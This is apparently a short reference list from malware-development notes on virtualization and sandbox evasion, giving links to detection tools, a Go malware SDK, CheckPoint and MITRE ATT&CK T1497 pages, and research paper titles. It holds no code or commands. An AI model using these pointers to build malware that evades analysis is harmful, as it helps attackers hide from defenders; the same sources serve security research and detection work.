Detection PoC tools: - al-khaser — https://github.com/ayoubfaouzi/al-khaser (comprehensive, most used) - Pafish — https://github.com/a0rtega/pafish (paranoid fish — good for visual reports) - InviZzzible — https://github.com/CheckPointSW/InviZzzible (CheckPoint research framework) - ColdFire (Go) — https://github.com/hac01/Coldfire_go_malware (Go malware SDK with sandbox detection)

Reference databases: - Evasions.CheckPoint.com — https://evasions.checkpoint.com (most comprehensive resource, code + countermeasures) - MITRE ATT&CK T1497 — https://attack.mitre.org/techniques/T1497 (official technique catalog) - MITRE T1497.001 — https://attack.mitre.org/techniques/T1497/001 (System Checks sub-technique)

Research papers: - Palo Alto Unit 42 — "API Hammering Malware Families" - Palo Alto Unit 42 — "Evade Sandboxes With a Single Bit: the Trap Flag" - Black Hat EU 2020 — "My Ticks Don't Lie: New Timing Attacks for Hypervisor Detection" - McAfee Labs — "Evolution of Malware Sandbox Evasion Tactics" - FireEye — "Malware Increasingly Abusing WMI for Evasion"

MITRE ATT&CK: - T1497 — Virtualization/Sandbox Evasion - T1497.001 — System Checks - T1497.002 — User Activity Based Checks - T1497.003 — Time Based Checks (see Delayed Execution note)


← Malware development top ↑